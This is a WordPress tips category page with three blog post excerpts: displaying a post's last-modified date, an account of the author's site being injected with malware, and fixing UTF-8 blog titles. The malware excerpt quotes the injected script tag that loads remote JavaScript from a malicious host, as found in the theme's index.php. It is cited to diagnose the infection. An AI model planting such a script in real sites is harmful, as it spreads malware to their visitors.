Category : "Wordpress"

Wordpress tips and tricks

Display last modified date of posts in wordpress

There is a blue patch at the end of this post that mentions the “Last Updated On” date. It is the date when this particular post of last modified or updated on. Since I keep updating many of the old posts from time to time, thought it would be a nice idea to display the date in the post as well. Add the following code to the end of functions.php of the the current theme. [...]

Malware injection in wordpress websites

Yesterday (17-July-2012) when I opened binarytides in Google Chrome suddenly it showed a Warning that this site contains malware. I was a bit surprised. It further said that it contains malware from andws.com.br I pressed Ctrl+U and the in the source , the first line was this <script type="text/javascript" src="http://andws.com.br/ti/Check.php"></script> It was right on the top before the doctype line. I went into wp-admin and found that the index.php of the active theme had that [...]

Enable unicode utf-8 characters in wordpress blog title

WordPress and unicode Sometime back I was trying to put unicode characters(utf-8) in the title of a blog from wp-admin > settings > general. After saving it became like ?????????. All pages had utf-8 in their meta tags so the issue was somewhere else. A working solution was found : 1. Go to phpmyadmin and select the database of this blog 2. Select table wp_options and then click operations. In table options box change collation [...]